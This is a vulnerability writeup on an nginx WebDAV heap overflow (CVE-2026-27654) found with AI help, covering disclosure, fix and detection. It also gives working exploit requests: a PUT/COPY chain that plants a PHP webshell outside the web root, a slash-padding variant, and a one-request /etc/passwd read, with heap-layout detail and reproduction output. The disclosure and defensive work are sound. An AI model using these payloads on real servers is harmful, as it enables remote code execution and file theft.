Claude + Humans vs nginx: CVE-2026-27654
What humans still do when Claude already found the bug.
We'd like to acknowledge Claude, Anthropic Research, NGINX developers and F5 PSIRT for partnering with us on this. It was a pleasant experience.
By now we know AI can find real vulnerabilities and write working exploits. That part is no longer surprising.
The more interesting question is the human role. Where does human expertise still matter when the initial bug report is already correct? What separates a crash from a real exploit? What does collaboration look like in practice, on a real vulnerability with a real fix and a real disclosure?
CVE-2026-27654 is a useful case. The bug needs a non-default config: ngx_http_dav_module compiled in, and a location combining alias with dav_methods COPY or MOVE. The exposed population is small. Inside that population the bug is severe.
Claude flagged it correctly: a heap buffer overflow in ngx_http_dav_copy_move_handler(), driven by an unsigned underflow in ngx_http_map_uri_to_path() when the Destination header is shorter than the location prefix. Claude provided a working crash:
COPY /dav/x HTTP/1.1
Host: localhost
Destination: /da <-- shorter than "/dav/" -> underflow
That crashes a worker. Whether it can do more than that is a harder question, and at least for now, answering it takes a human.
What it does, when it works: it escapes the WebDAV root. The alias directive is supposed to be a jail; a COPY against location /dav/ { alias /var/dav/uploads/; } should only ever touch files under /var/dav/uploads/. The bug lets a remote attacker read or write files anywhere the worker UID can reach.
Three of us worked through this with Claude independently, each in our own session, comparing notes between rounds. The independence mattered: the same prompt to two different Claude conversations produced one "impossible" and one working exploit (more on that under Round two). The first exploit out of the gate was a clean repro we could ship to F5; the refinements that followed came from looking at what each of us had built and asking which precondition felt least likely to exist on a real target.
Round one: aim high (PoC-1, §5). Arbitrary file write with attacker-chosen content. PUT a webshell under the WebDAV root, then trigger the overflow on COPY to copy it to /var/www/html/x.php. Claude built it; it worked. But the heap groom needs the source-path buffer pushed into a separate malloc() block, which means a request URI over 4000 characters, which means the PUT must land in a directory tree twenty levels deep with ~200-character folder names. nginx builds that tree if you set create_full_put_path on, but "the server accepts arbitrarily long PUT paths" is not a precondition you find often.
Round two: give up on write (PoC-2, §6). The question we put to Claude:
We don't actually need to write our own bytes. If we control both the source and the destination of the COPY, can we copy a file that already exists, like /etc/passwd, into a download folder we can fetch it from?
Two of us asked independently. One Claude said it was impossible. The other produced a working exploit first try: a single COPY, short URI so the source path stays in the request pool adjacent to the destination, and the same overflow rewrites both paths at once. That became PoC-2.
The first thing we tested after it worked was whether it was as clean as it looked. The draft of this writeup said the worker "never crashes."
This is not true, right? Because the second PoC did crash workers if memcpy didn't hit that lucky condition.
It hadn't checked. We made it sweep all 16 alignment residues; two of them crash before any file is touched. The "never" became "on 14 of 16 alignments."
Then the constraint. The traversal injected into the source path is 20 characters, fixed by the header structure. Claude's first count of how those 20 split was wrong:
With a 3-level surviving prefix you spend 12 characters on /../../../ and have 8 left for the filename. Is this a correct assessment?
It wasn't. /../../../ is 10, not 12; etc/passwd is 10, not 8. (Note to self: never ask Claude to file our tax returns.) Ten and ten, and etc/passwd fits exactly. We asked whether the constraint itself could be stretched and the answer was: not by changing the URI length (both endpoints of the controlled window shift together), but yes by tuning the header-key lengths, which we ended up doing in §6.3.
Round three happened while we were writing this document (slash-padding variant, §5.6). We were fact-checking why the deep PUT tree in PoC-1 is unavoidable, and the chain went like this:
Can you do something like this to artificially expand the length? COPY /etc/../etc/../etc/../etc/../passwd HTTP/1.1
No. nginx normalizes .. before r->uri.len is set; the padding gets stripped.
Does it also normalize the source path in COPY <source_path>? We want a long source-path string to push it into its own malloc, but at the same time we want it to resolve to a short path on the filesystem. Is that possible?
That was the question that mattered. Claude tested /., //, %2e%2e: all collapsed. Then it tried merge_slashes off. With that one directive, nginx stops collapsing // but the kernel still does (POSIX path resolution). So /dav/ + 4000 slashes + p.php is a 4010-character URI to nginx and the same inode as /dav/p.php to lstat(). Worked first try. The deep tree, create_full_put_path, the long folder names: all gone, traded for one line of config that exists in the wild for unrelated reasons.
So three variants, each one found by asking what's actually load-bearing in the previous one's preconditions. The most ambitious primitive came first and was the most expensive; the simplest deployment story came last and only because we were poking at why the expensive one was expensive.
| Primitive | Key constraint | Code | |
|---|---|---|---|
| §5 PoC-1 | write | create_full_put_path on + accepts deep PUT paths | poc-1/poc.py |
| §5.6 variant | write | merge_slashes off | poc-1/poc_slashes.py |
| §6 PoC-2 | read | none beyond dav_methods COPY, but 20-byte traversal constraint | poc-2/poc_src.py |
A pattern we noticed: left to itself, Claude reached for the most powerful primitive and accepted whatever preconditions came with it. The first exploit was file write, the strongest thing the bug could give, and it worked, and it would also almost never apply to a real server. The two moves that made the bug practically dangerous were both human: stepping down to a weaker primitive (file read) to shed preconditions, and then much later, asking whether one of the original preconditions was even real. Claude could test those ideas faster than we could, but it didn't generate them. Maybe that's just because nobody told it that "works in a Docker container we built" is not the same as "works on a server someone else runs"; maybe that judgment is harder to teach than the heap layout. Either way, the division of labour was consistent: we picked which constraint to attack, it did the byte-level work to attack it.
The issue was disclosed to F5, which fixed it and published an advisory acknowledging:
Calif.io in collaboration with Claude and Anthropic Research for bringing this issue to our attention and following the highest standards of coordinated disclosure.
| Date | Event |
|---|---|
| 2026-02-XX | Vulnerability discovered |
| 2026-03-10 | Reported to F5 / nginx security team |
| 2026-03-11 | F5 acknowledged the report |
| 2026-03-24 | nginx 1.29.7 released with fix; F5 advisory K000160382 published; CVE-2026-27654 assigned |
| 2026-03-24 | Fix commit independently noticed at spaceraccoon/vulnerability-spoiler-alert#102 |
| 2026-04-10 | This writeup published |
Two of those rows are the same date. The fix landed in public on the 24th; an AI-powered commit watcher read the diff the same day and produced a crashing PoC on its own, before any advisory text named the affected module. The patch window for this bug, the time between "fix is public" and "exploit is reproducible by someone watching commits", was zero days.
That's the other half of what AI changes about vulnerability research, and it cuts the opposite direction from everything above. AI made finding and developing this exploit cheaper for us; it made reproducing the bug cheaper for everyone watching commits. Those two facts together collapse the patch window from both ends. Coordinated disclosure assumes a gap between fix and weaponization that is now an automation target.
| CVE | CVE-2026-27654 |
| Bug class | Heap Buffer Overflow (CWE-122) via Integer Underflow (CWE-191) |
| Affected | nginx with ngx_http_dav_module, alias + dav_methods COPY/MOVE |
| Fixed in | 1.29.7 (2026-03-24) |
| Vendor CVSS | 8.2 HIGH (v3.1) / 8.8 HIGH (v4.0) |
CVE-2026-27654: nginx DAV Heap Overflow to Arbitrary File Read and Write
1. Summary
WebDAV (RFC 4918) extends HTTP with file management methods. nginx's ngx_http_dav_module implements PUT, DELETE, MKCOL, COPY, and MOVE. COPY and MOVE take a Destination header naming the target path. The alias directive maps a URL prefix to a filesystem directory; all DAV operations are supposed to stay inside that directory.
The DAV handler resolves the destination path by temporarily swapping r->uri with the Destination header value and calling ngx_http_map_uri_to_path(). That function appends the URI tail to the alias root with a memcpy whose count is r->uri.len - alias. When the Destination is shorter than the location prefix, the count underflows to near SIZE_MAX. On aarch64 glibc, there's a high chance (most source-pointer alignments) that this memcpy resolves to a bounded scattered write instead of a crash: roughly 130 bytes get copied into the request pool around the destination-path buffer, sourced from the header bytes surrounding Destination. The attacker chooses those bytes.
The corruption window covers the destination path buffer and the bytes immediately preceding it in the request pool, which under a short request URI is the source path buffer. Both arguments to ngx_copy_file() can therefore be attacker-supplied: the destination becomes an absolute filesystem path with no alias prefix at all, and the source can be rewritten into a ..-traversal that the kernel resolves at open() time. nginx's path traversal checks ran against the original Destination header and the original request URI; the corrupted strings exist only in heap memory and were never validated.
ngx_http_dav_module is optional and not compiled by default; it requires --with-http_dav_module at build time. The vulnerable surface is any location block that combines alias with dav_methods COPY or MOVE.
2. Impact
Both primitives operate on absolute filesystem paths outside the configured WebDAV root. The alias root never appears in the corrupted path; its only role is its length, which sets how many characters of the escaped path the attacker controls (root.len - alias_len - 15).
| Configuration | Primitive | Requests | Worker | PoC |
|---|---|---|---|---|
alias + dav_methods COPY | file read outside the alias root | 1 | survives on most alignments | §6 |
above + merge_slashes off + one file under the alias root | file write outside the alias root | 1 (or 2 with PUT) | crashes after write | §5.6 |
above (without merge_slashes off) + dav_methods PUT + create_full_put_path on | file write outside the alias root | 2 | crashes after write | §5 |
Read primitive (PoC-2). A single COPY request, with no file ever placed under the alias root, copies any file the worker UID can open to an attacker-chosen path. When the bounded memcpy path activates (most source alignments), the worker survives and re-enters keepalive. The nginx debug log records the source path before corruption, so the log shows a copy from a nonexistent file while open() reads /etc/passwd. Nothing in any nginx log mentions the file that was actually read.
Write primitive (PoC-1 and the §5.6 variant). Get a file under the alias root, then COPY it out. The COPY's corrupted destination is /var/www/html/x.php; the file lands mode 0644, which PHP-FPM will execute. The constraint is the parent directory: /var/www/html is root:root 755 on a stock install, so the worker UID needs write access there (common on PHP CMS hosts where the docroot has been chowned to www-data). nginx writes the file and returns HTTP 204 before the worker crashes; with master_process on the master respawns it.
The two write variants differ only in how the source-path buffer gets pushed into a separate malloc() block, which is what keeps it intact while the destination is corrupted. PoC-1 does it the brute-force way: a 4030-character request URI built from a deep PUT into twenty nested directories, requiring create_full_put_path on. The §5.6 variant does it by exploiting a parser asymmetry: with merge_slashes off, nginx keeps consecutive slashes in r->uri but the kernel collapses them at lstat() time, so a URI of /dav/ plus 4000 slashes plus p.php is 4010 characters to the allocator and one short file to the filesystem. One non-default config line replaces the deep tree, create_full_put_path, and the requirement that nginx accept arbitrarily long folder names.
The exposed population is narrower than "all nginx WebDAV deployments": the bug needs alias specifically (not root) combined with DAV COPY or MOVE. Within that population the bar is low.
Both primitives are tightly bounded by the target's nginx config. The attacker does not get to choose the path-length constraint; it falls out of root.len and alias, which are whatever the deployed nginx.conf says. The destination path constraint is root.len - alias - 15 characters, period. With a short alias root (say, alias /srv/dav/, 9 chars) and location /d/ (3 chars), the constraint is 9 - 3 - 15 = -9: there is no exploit. Both PoCs use a 39-character alias root, realistic for containerized or deeply-nested deployments but not universal.
The read primitive is constrained twice over. The destination-path constraint limits where you can put the leaked copy. The source-path traversal must fit a separate constraint (in PoC-2's layout, 20 bytes) that includes both the .. segments needed to escape the surviving prefix's directory depth and the path from filesystem root to the target file:
| Surviving prefix depth | Traversal | Bytes left for path-from-root | Reachable |
|---|---|---|---|
| 2 levels | /../../ (7) | 13 | most things in /etc, /var/log/syslog |
| 3 levels (PoC-2) | /../../../ (10) | 10 | etc/passwd, etc/shadow, etc/hosts |
| 4 levels | /../../../../ (13) | 7 | almost nothing useful |
| 5 levels | /../../../../../ (16) | 4 | nothing |
The depth is fixed by the alias root's first ~23 characters, which the attacker does not choose. A target with alias /opt/myapp/data/storage/dav/... has a 5-level surviving prefix and is effectively unreadable even though the underflow fires. An attacker against a real target gets exactly one constraint and has to find a useful file that fits it.
3. Recommendations
Upgrade to nginx 1.29.7 or later. The fix rejects COPY/MOVE requests where the Destination URI is shorter than the alias location name:
if (clcf->alias
&& clcf->alias != NGX_MAX_SIZE_T_VALUE
&& duri.len < clcf->alias)
{
ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,
"client sent invalid \"Destination\" header: \"%V\"",
&dest->value);
return NGX_HTTP_BAD_REQUEST;
}
From the CHANGES entry:
Security: a buffer overflow might occur while handling a COPY or MOVE request in a location with "alias", allowing an attacker to modify the source or destination path outside of the document root (CVE-2026-27654).
If you cannot upgrade immediately:
- Remove
COPYandMOVEfromdav_methodsin anylocationthat usesalias. PUT, DELETE, and MKCOL are not affected. - Audit configurations for the combination of
aliasanddav_methods COPYorMOVE. Therootdirective is not affected.
Detection. Look for COPY or MOVE requests where the Destination header is shorter than the matched location prefix. In access logs this appears as a request with an unusually short Destination value (one to four characters). Worker crashes immediately following a 204 response to COPY are a secondary signal for the write primitive; the read primitive crashes before any file I/O on a small fraction of source alignments and is silent on the rest.
4. The Vulnerability
The DAV handler ngx_http_dav_copy_move_handler maps both the source and destination URIs to filesystem paths by calling ngx_http_map_uri_to_path() twice: once with the original r->uri (line 693), then again after swapping r->uri for the parsed Destination value (line 703). The swap does not re-validate the new URI's length against the alias.
ngx_http_map_uri_to_path() builds the path by copying the alias root and then appending the URI's tail. The "tail" is the URI with the location prefix stripped: for a request to /dav/foo/bar against location /dav/, nginx wants to append foo/bar to the alias root. It computes that by skipping the first alias bytes of the URI, where alias is the length of the location prefix:
| Variable | What it is | PoC value |
|---|---|---|
alias | length of the location prefix | len("/dav/") = 5 |
duri | the parsed Destination header value | "/da", so duri.len = 3 |
r->uri | nginx's current-URI struct, swapped to duri for the dest map | r->uri.len = duri.len = 3 |
The append at line 1987 is:
last = ngx_copy(last, r->uri.data + alias, r->uri.len - alias);
^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^
skip the prefix copy what's left
ngx_copy is a thin wrapper around memcpy. The third argument is the byte count: r->uri.len - alias = "URI length minus prefix length" = "how many bytes are left after the prefix". For a normal URI like /dav/foo that's 8 - 5 = 3 bytes (foo). For the swapped-in duri = "/da", it's 3 - 5 = -2, cast to size_t as 0xfffffffffffffffe.
The deficit (how many bytes the Destination is short of the prefix) and the count are the same subtraction with the sign flipped:
deficit = alias - duri.len = 5 - 3 = 2 (how short the Destination is)
count = duri.len - alias = 3 - 5 = -2 (how many bytes "remain": negative)
The call becomes memcpy(path + root.len, duri + alias, ~SIZE_MAX).
The PoCs useDestination: /da(deficit = 2), but/dav(deficit = 1) triggers the same memcpy with one fewer crash residue (15/16 alignments instead of 14/16).
path here is the destination-path buffer that ngx_pnalloc just returned from the request pool (r->pool, a 4096-byte bump-allocated arena that lives for one request). duri points into the HTTP header buffer (c->buffer, allocated from the connection pool when nginx first read the request line); it is the address of the / in Destination: /da inside the raw, parsed-in-place header bytes. These two are completely separate allocations, roughly 70 KiB apart in our runs:
heap, low addresses
┌──────────────────────────────────┐
│ c->buffer (header buffer, 1 KB) │ duri.data points here, at the '/' in "/da"
│ ...X-Pad: /var/.../x.php\0\n... │ the bytes BEFORE duri.data are the X-Pad
│ ...Destination: /da\0... │ header that the attacker sent
└──────────────────────────────────┘
~70 KiB
┌──────────────────────────────────┐
│ r->pool (request pool, 4 KB) │ path->data points here
│ ...[src path][dest path][free] │ memcpy WRITES here, around dest path
└──────────────────────────────────┘
heap, high addresses
So the memcpy is a cross-allocation copy: it reads attacker-chosen bytes from the header buffer and writes them into the request pool. The two regions never overlap; neither pointer ever needs to walk far from where it started for the attack to work.
Why memcpy with a near-SIZE_MAX count usually doesn't crash
On aarch64 the IFUNC resolves to glibc's __memcpy_generic. To see why a 2^64-byte count doesn't immediately fault, it helps to know how the function is structured for normal inputs:
- Compute end pointers:
srcend = src + count,dstend = dst + count. These anchor the "last bytes" copies later. - Dispatch on size: tiny copies (< 16 bytes) use one or two scalar loads; small copies (< 128 bytes) use a few SIMD load/store pairs; large copies fall through to the long-copy path.
- Long-copy path: align
srcdown to a 16-byte boundary, add the alignment offset back tocount(so the loop accounts for the bytes "wasted" reaching alignment), do one unaligned head store, then enter the main loop copying 64 bytes per iteration with aligned loads. - Tail: when the loop drains, copy the last 64 bytes using
[srcend - 64]and[dstend - 64]addressing. This handles the unaligned remainder. The head and tail deliberately overlap the loop's range so no edge-case gap is left.
The danger is step 3's main loop: with count near 2^64 it would iterate forever, walking src off the end of the header buffer's page and faulting. The function survives because two arithmetic wraps, in steps 1 and 3, tame the count before the loop is reached. The walkthrough below uses the PoC's parameters: alias = 5, duri.len = 3, deficit = alias - duri.len = 2, so count = -2.
Wrap 1 (step 1): end pointers stay local. srcend = src + 0xfffffffffffffffe wraps to src - 2, and likewise dstend = dst - 2. Every instruction that reads from [srcend - N] or writes to [dstend - N] is therefore reaching a few bytes below where it started, not exabytes away. The tail-copy machinery is already pointed somewhere safe.
Wrap 2 (step 3): the count becomes tiny. The alignment-fixup count += src & 0xf adds a value in [0, 15]. With count = -2 and src & 0xf >= 2, the sum wraps past zero into the small positive range (e.g. -2 + 14 = 12). The main loop is skipped because the count is now too small to enter it, and the function falls straight through to the tail.
The result: no loop iteration runs, and the only stores that fire are the head, two leftover prologue flushes, and the 64-byte tail. The head and prologue write forward from dst into unallocated pool space and are noise. The tail writes backward. It's anchored at dstend - 64. Since dst = path + root.len (one past the root-prefix copy) and dstend = dst - deficit = dst - 2, the tail starts at dst - 2 - 64 = path + root.len - 66. With root.len = 39 that's path[-27]: 27 bytes reach behind the buffer into whatever the request pool allocated immediately before it, and the remaining 37 bytes of the 64 land inside.
That backward reach is the entire exploit. What sits in those 27 bytes depends on the previous ngx_pnalloc call, which was the source-path mapping. Whether the source path lives in the request pool (adjacent, gets corrupted too) or in a separate malloc block (far away, safe) is decided by its size relative to r->pool->max = 4016 bytes. The request URI length controls that size. §5 and §6 show the exact byte landings for each layout.
The condition for wrap 2 holds on most of the 16 possible source alignments; on the few it doesn't (when src & 0xf is less than the deficit), the count stays huge, the loop runs, and the worker SIGSEGVs in step 3 before any file is touched.
| PoC-1 (§5) | PoC-2 (§6) | |
|---|---|---|
| URI length | ~4030 chars | 15 chars |
| Source path size | ~4065 B (> 4016) | 50 B (<= 4016) |
| Source path lives in | malloc | request pool |
dest_path[-27..-1] overlaps | ngx_pool_large_t tracker | source path tail |
| Source path after overflow | intact | rewritten to /../../../etc/passwd |
| Primitive | write (copy what you uploaded) | read (copy what already exists) |
| Worker | crashes after 204 | survives on most alignments |
5. PoC 1: The Write Path
Two unauthenticated requests against a WebDAV location with alias + dav_methods PUT COPY + create_full_put_path on. The PUT uploads a PHP webshell into a deeply nested directory under the alias root. The COPY redirects that file to /var/www/html/x.php.
PUT /dav/d00_xxx...xxx/d01_xxx...xxx/.../d19_xxx...xxx/p.php HTTP/1.1
Host: 127.0.0.1:9080 ^^^^^^^^^^^^^^
Content-Length: 29 ~4030-char URI: 20 segments
of ~200 chars each. This
<?php system($_GET['c']); ?> pushes the source-path
allocation past pool->max.
----- nginx returns 201 Created, then on the same connection: -----
COPY /dav/d00_xxx...xxx/d01_xxx...xxx/.../d19_xxx...xxx/p.php HTTP/1.1
Host: 127.0.0.1:9080
X-Pad: /var/www/html/x.php <-- last 19 bytes become dest_path[0..18]
Destination: /da <-- 3 chars vs alias /dav/ (5) -> underflow
X-Pad is an arbitrary header name the attacker invents. nginx parses it, stores it in the headers list, and ignores it. Its job is to put the bytes /var/www/html/x.php at a specific offset in the header buffer: immediately before Destination so that the memcpy tail picks them up. Any header name works; the value's position is what matters.
5.1 Configuration requirements
| Constraint | Detail |
|---|---|
dav_methods PUT COPY | PUT to upload the payload, COPY to escape with it. |
create_full_put_path on | The deep PUT path needs nginx to create intermediate directories. |
| Alias root length | root.len >= len(target) + alias + 15. With /dav/ (5) and a 19-char target: root.len >= 39. The PoC uses /home/ubuntu/aaa...a/ (39 chars). |
/var/www/html writable by worker | Default Debian/Ubuntu: root:root 755 (fails). Common on PHP CMS hosts where the docroot was chowned to www-data. The PoC's Dockerfile creates this directory; on a real target this is the precondition that decides whether the write primitive is interesting. |
PHP runtime serving /var/www/html | PHP-FPM does not check +x; the file lands as 0644 and is executable. |
5.2 Memory layout
The deep PUT path creates a request URI of ~4030 characters. When the COPY arrives with the same URI, the source-path mapping at dav_module.c:693 computes:
source_path size = root.len + uri.len - alias + 1 = 39 + 4030 - 5 + 1 = 4065 bytes
The cutoff for in-pool allocation is r->pool->max, set at pool creation to min(request_pool_size - sizeof(ngx_pool_t), NGX_MAX_ALLOC_FROM_POOL) = min(4096 - 80, 4095) = 4016 (ngx_palloc.c:34). 4065 > 4016, so ngx_pnalloc calls ngx_palloc_large() which calls malloc(). The source path lands in a separate heap block.
ngx_palloc_large() leaves a footprint, though: it allocates a 16-byte ngx_pool_large_t {ngx_pool_large_t *next; void *alloc;} tracker node in the request pool before returning the malloc'd block. The next ngx_pnalloc, for the destination path, returns the bytes immediately after that tracker. The destination-path size is computed by the same formula, but with the swapped-in Destination value as the URI:
dest_path size = root.len + duri.len - alias + 1 = 39 + 3 - 5 + 1 = 38 bytes
38 ≤ 4016, so dest_path stays in the pool.
malloc heap (a third allocation; not the
header buffer, not the request pool)
┌────────────────────────────────────┐
│ source_path (4065 B) ← UNTOUCHED │
│ "/home/ubuntu/aaa.../d00_.../p.php"│
└────────────────────────────────────┘
request pool (r->pool, 4096 bytes, max=4016)
┌─────────┬────────────────────┬───────────────────────┬──────┐
│ prior │ ngx_pool_large_t │ dest_path (38 B) │ free │
│ data │ {next, alloc} 16 B │ │682 B │
└─────────┴────────────────────┴───────────────────────┴──────┘
↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑ ↑↑↑ ↑↑↑↑
tail store: dest[-27..36] = HERE forward stores: dest[39..]
land in free space (benign)
5.3 What memcpy does
The Destination: /da header gives duri.len = 3, alias = 5, deficit = 2. The destination-path mapping at L703 calls:
memcpy(dest_path + 39, duri.data + 5, 0xfffffffffffffffe)
__memcpy_generic wraps dstend to dest_path + 37 and the count to (src & 0xf) - 2. The bounded tail writes 64 bytes at dest_path[37 - 64 .. 37 - 1] = dest_path[-27..36], sourced from duri.data[3 - 64 .. 3 - 1] = duri[-61..2], the parsed header bytes immediately preceding /da. The byte mapping is dest_path[i] = duri[i - root.len + alias] = duri[i - 34].
What we want is for dest_path to read as /var/www/html/x.php to anything that treats it as a C string. That means controlling dest_path from byte 0 onward, and getting a \0 immediately after the path. The byte mapping tells us where to place each:
dest_path[i] = duri[i - 34] so dest_path[0] = duri[-34]
dest_path[1] = duri[-33]
...
So the first byte of the corrupted path comes from duri[-34], i.e., 34 bytes before the / in /da in the raw header buffer. Walking backward from duri[0], the bytes between the X-Pad value and /da are fixed by the HTTP wire format and nginx's in-place parsing (ngx_http_request.c:1507 zeroes the \r after each value, :1503 zeroes the : after each key):
duri[-15] duri[-14] duri[-2] duri[-1] duri[0]
| | | | |
...X-Pad: <value> \0 \n D e s t i n a t i o n \0 <space> / d a ...
^ ^
was \r was :
(parser-zeroed) (parser-zeroed)
|<------------------ 15 bytes ------------------->|
The 15 bytes between duri[-15] and duri[-1] are protocol overhead: 1 space + 1 NUL (was :) + 11 chars of Destination + 1 \n + 1 NUL (was \r). DAV always uses the literal header name Destination, so the 15 is a constant. That means:
duri[-15]is the first NUL we can't avoid. It lands atdest_path[-15 + 34] = dest_path[19]. The C string is forcibly terminated at byte 19.duri[-16]throughduri[-34]are the last 19 bytes of the X-Pad value (the only attacker-controlled bytes between the two NULs). They land atdest_path[18]down todest_path[0]. Those 19 bytes are the entire path.
So the constraint is root.len - alias - 15 characters: with root.len = 39 and alias = 5, that's 19. The PoC sends X-Pad: /var/www/html/x.php (19 chars exactly), and dest_path reads as /var/www/html/x.php\0\nDestination\0 /da... to printf and open() alike.
What if you want a longer target path? The 15 is fixed and alias is set by the target's location block, so the only knob is root.len. A longer alias root shifts dest_path[0] to a more-negative duri offset, deepening the controlled window. With root.len = 50 you'd get 50 - 5 - 15 = 30 characters, enough for /var/www/wordpress/wp-load.php. The attacker doesn't control root.len; it's whatever the deployed nginx config says. Longer alias paths are common (containerized deployments often use paths like /opt/app/data/uploads/webdav/), but it's a property of the target, not a parameter of the attack.
The forward stores write dest_path[39..104] from duri[5..70] (bytes after /da\r\n, mostly buffer slack). They land in pool free space.
The tail's lower half (dest_path[-27..-1]) overwrites the ngx_pool_large_t tracker, which is what crashes the worker after the file is written (step 6 below).
5.4 Sequence
- PUT lands inside the alias root. nginx creates the directory tree (
create_full_put_path) and writes the body. Returns 201. - COPY arrives. Source path is mapped (4065 bytes, malloc). Destination path is mapped (underflow fires).
lstat(source_path)succeeds: the source path is intact in its malloc block, untouched by the corruption.ngx_copy_file(source_path, "/var/www/html/x.php"): opens source for read, opens dest withO_CREAT|O_TRUNCand the source's mode bits (0664 & ~umask = 0644), copies the bytes.- nginx returns HTTP 204.
- Building the response calls
ngx_palloc_large()again, which walks the corruptedlargelist and dereferenceslarge->next->alloc. SIGSEGV atngx_palloc.c:228.
5.5 Reproducing it
$ docker build -t cve-2026-27654-poc1 poc-1/
$ docker run --rm cve-2026-27654-poc1
[*] root.len=39 alias=5 controlled=19
[*] target = /var/www/html/x.php (19 chars)
[*] URI length = 4030, source path size = 4065 bytes (>4016: True)
PUT: HTTP/1.1 201 Created
COPY: HTTP/1.1 204 No Content
worker_exited: True
target_exists: yes
target_mode: 0o644
target_size: 29
target_match: True
--- target content ---
<?php system($_GET['c']); ?>
poc-1/ contains:
Dockerfile: builds nginx 1.29.5 with--with-http_dav_moduleon Ubuntu 24.04 aarch64, creates/var/www/html, runspoc.pyas the container CMD.nginx.conf: the vulnerable surface (alias39 chars +dav_methods PUT COPY+create_full_put_path on).poc.py: sends both requests, verifies the file landed, dumps mode/content/sha256.nginx-merge-slashes-off.conf,poc_slashes.py: the slash-padding variant below.
5.6 Variant: slash-padding (when merge_slashes off is set)
The deep PUT path is the worst part of this PoC: it needs create_full_put_path on and an nginx that will accept ~200-character directory names twenty levels deep. There's a way to get the same source-path isolation without any of that, but it trades for a different config requirement.
If the target has merge_slashes off in its http {} block, nginx stops collapsing consecutive slashes in the request URI. A URI like /dav/ followed by 4000 slashes followed by p.php survives normalization at full length. The kernel, on the other hand, does collapse slashes (POSIX path resolution treats multiple / as one /). So the same string is two different lengths to two different layers:
| Layer | Sees | Length | Effect |
|---|---|---|---|
| nginx URI parser | /dav//////...///p.php | r->uri.len ≈ 4010 | source path = 39 + 4010 - 5 + 1 = 4045 > 4016 → malloc |
kernel lstat() | same string | 4045 < PATH_MAX (4096) | resolves to the same inode as <alias_root>/p.php |
So the malloc-isolation trick fires, and lstat() finds an ordinary short-named file under the alias root. No deep tree.
PUT /dav/p.php HTTP/1.1 <-- normal short PUT
Host: 127.0.0.1:9080
Content-Length: 29
<?php system($_GET['c']); ?>
COPY /dav//////...4000 slashes...///p.php HTTP/1.1
Host: 127.0.0.1:9080
X-A: <-- alignment shim (see §6.4)
X-Pad: /var/www/html/x.php
Destination: /da
What this drops: create_full_put_path, the deep directory tree, dav_methods MKCOL DELETE MOVE. What this adds: merge_slashes off, which is non-default but appears in configs that route on path-encoded data (some REST APIs, git HTTP backends, anything that needs // to mean an empty path component). The PUT itself can be any mechanism that lands one short-named file under the alias root; dav_methods PUT is just the most direct.
To run the variant:
$ docker run --rm cve-2026-27654-poc1 \
python3 poc_slashes.py \
--nginx-bin /usr/local/nginx/sbin/nginx \
--nginx-conf /home/ubuntu/nginx-merge-slashes-off.conf
[*] PUT /dav/p.php (10-char URI, normal short path)
HTTP/1.1 201 Created
[*] COPY URI: /dav/ + 4000 slashes + p.php (4010 chars)
source path size = 39 + 4010 - 5 + 1 = 4045
> pool->max (4016)? True -> source path goes to malloc
< PATH_MAX (4096)? True -> kernel accepts it
kernel resolves to: /home/ubuntu/aaaaaaaaaaaaaaaaaaaaaaaaa/p.php (same inode)
pad= 0 HTTP/1.1 204 No Content written=True
worker_exited: True
target_exists: yes
target_mode: 0o644
target_match: True
6. PoC 2: The Read Path
A single unauthenticated COPY request against a WebDAV location with alias + dav_methods COPY. No PUT, no file under the alias root, no other configuration. The request copies /etc/passwd to a path the attacker can fetch over HTTP.
6.1 Configuration requirements
| Constraint | Detail |
|---|---|
dav_methods COPY | The only DAV method needed. PUT, DELETE, MKCOL not required. |
| Alias root length | Same formula as PoC-1. The PoC uses the same 39-char alias root with /dav/ (5), giving 19 controlled dest-path chars. |
| Pivot directory | The first L - 27 bytes of the alias root (where L is the source-path size) must form a real directory the kernel can walk through. With root.len = 39, uri.len = 15: L = 50, surviving = 23, so /tmp/lab/aaaaaaaaaaaaaa must exist. The full alias root need not. |
6.2 Memory layout
The request URI is short: /dav/xxxxxxxxxx (15 chars). The source-path mapping computes:
source_path size = 39 + 15 - 5 + 1 = 50 bytes <= 4016
So ngx_pnalloc returns 50 bytes from the request pool's bump allocator. The destination-path mapping returns the next 38. They are byte-adjacent: dest_path = source_path + 50.
request pool
┌─────────┬──────────────────────────────┬─────────────────────┬───────┐
│ prior │ source_path (50 B) │ dest_path (38 B) │ free │
│ data │ /tmp/lab/aaa.../xxxxxxxxxx\0 │ │ 659 B │
└─────────┴──────────────────────────────┴─────────────────────┴───────┘
[0..........22][23.........49] [0..2]
survives ↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑
tail store: dest[-27..36] = HERE
dest_path[-27] is source_path[23]. The corruption rewrites source_path[23..49] (27 bytes) and dest_path[0..36] in one shot. The forward stores land in pool free space. There is no ngx_pool_large_t to corrupt; nothing in this request was big enough to need one.
The slash-padding trick from §5.6 does not help here. Withmerge_slashes off, nginx keeps//but still normalizes.., and each..cancels one prior component including the empty ones between slashes. The..s spend themselves on the slash padding and never reach the kernel. The header overflow is the only escape route.
6.3 What memcpy does
Same call as PoC-1: memcpy(dest_path + 39, duri.data + 5, 0xfffffffffffffffe). The bounded tail covers dest_path[-27..36], sourced from duri[-61..2]. With the source path adjacent, that range maps onto two buffers:
source_path[23..49] <- duri[-61..-35] (Src value, its CR, and the start of the Pad line)
dest_path[0..36] <- duri[-34..2] (the Pad header value, "Destination", "/da")
The PoC sends:
COPY /dav/xxxxxxxxxx HTTP/1.1
Host: 127.0.0.1:9080
Src: /../../../etc/passwd <-- last 20 bytes -> source_path[23..42]
Pad: /tmp/lab/www/leaked <-- exactly 19 bytes -> dest_path[0..18]
Destination: /da
The header keys Src and Pad are 3 characters each. Their lengths matter: the source-path NUL terminator is the \r after the Src value, parser-zeroed, and its distance from duri.data is 15 + len(Pad value) + 2 (NUL'd : + space) + len(Pad key) + 2 (CR-NUL + LF) = 15 + 19 + 2 + 3 + 2 = 41 bytes. With a 5-character key like X-Pad, the NUL would land 2 bytes farther back, at duri[-43], which maps to source_path[41] instead of [43], leaving only 18 bytes for the traversal. /../../../etc/passwd needs 20. The dest-path constraint and the source-path constraint trade off through the Pad key length; we tune it to keep both constraints where we need them.
After the overflow:
source_path = "/tmp/lab/aaaaaaaaaaaaaa" + "/../../../etc/passwd" + "\0" + junk
└─── surviving 23 B ─────┘ └──── from Src tail ────┘ └─ Src's CR (parser-zeroed)
